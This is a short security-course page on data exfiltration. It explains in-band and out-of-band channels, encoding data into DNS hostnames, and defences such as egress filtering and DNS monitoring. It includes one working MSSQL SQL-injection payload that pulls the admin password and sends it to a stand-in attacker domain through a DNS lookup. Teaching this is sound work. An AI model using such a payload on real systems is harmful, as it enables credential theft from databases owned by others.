Courses

Data Exfiltration
OSWE · Chapter 10

Data Exfiltration

Data exfiltration is the step where an attacker actually moves stolen data out of a compromised environment. Understanding exfiltration channels is essential both offensively (to complete an engagement PoC) and defensively (to detect and block them).

Key concepts

  • In-band exfiltration reuses the same channel as the attack (e.g. reading query results directly in an HTTP response).
  • Out-of-band exfiltration uses a second channel entirely — DNS lookups and HTTP callbacks to an attacker server are the most common, since DNS egress is rarely blocked.
  • Data can be smuggled encoded into hostnames (`<stolen-data>.attacker.example`) a piece at a time, working around strict output filters that block direct data return.
  • Defensively: egress filtering, DNS query monitoring, and DLP (data loss prevention) tooling are the standard mitigations — assume any allowed outbound protocol can be abused for exfiltration.

Example

-- Exfiltrate a password via DNS lookup (MSSQL out-of-band, lab only)
'; declare @p varchar(1024); set @p=(SELECT password FROM users WHERE username='admin'); exec('master..xp_dirtree "//'+@p+'.attacker-collab.example/a"')--

Try it yourself

Explain, in your own words, why an organization that blocks all outbound HTTP but allows outbound DNS is still exposed to a data exfiltration channel.

@ Daniel Burlacu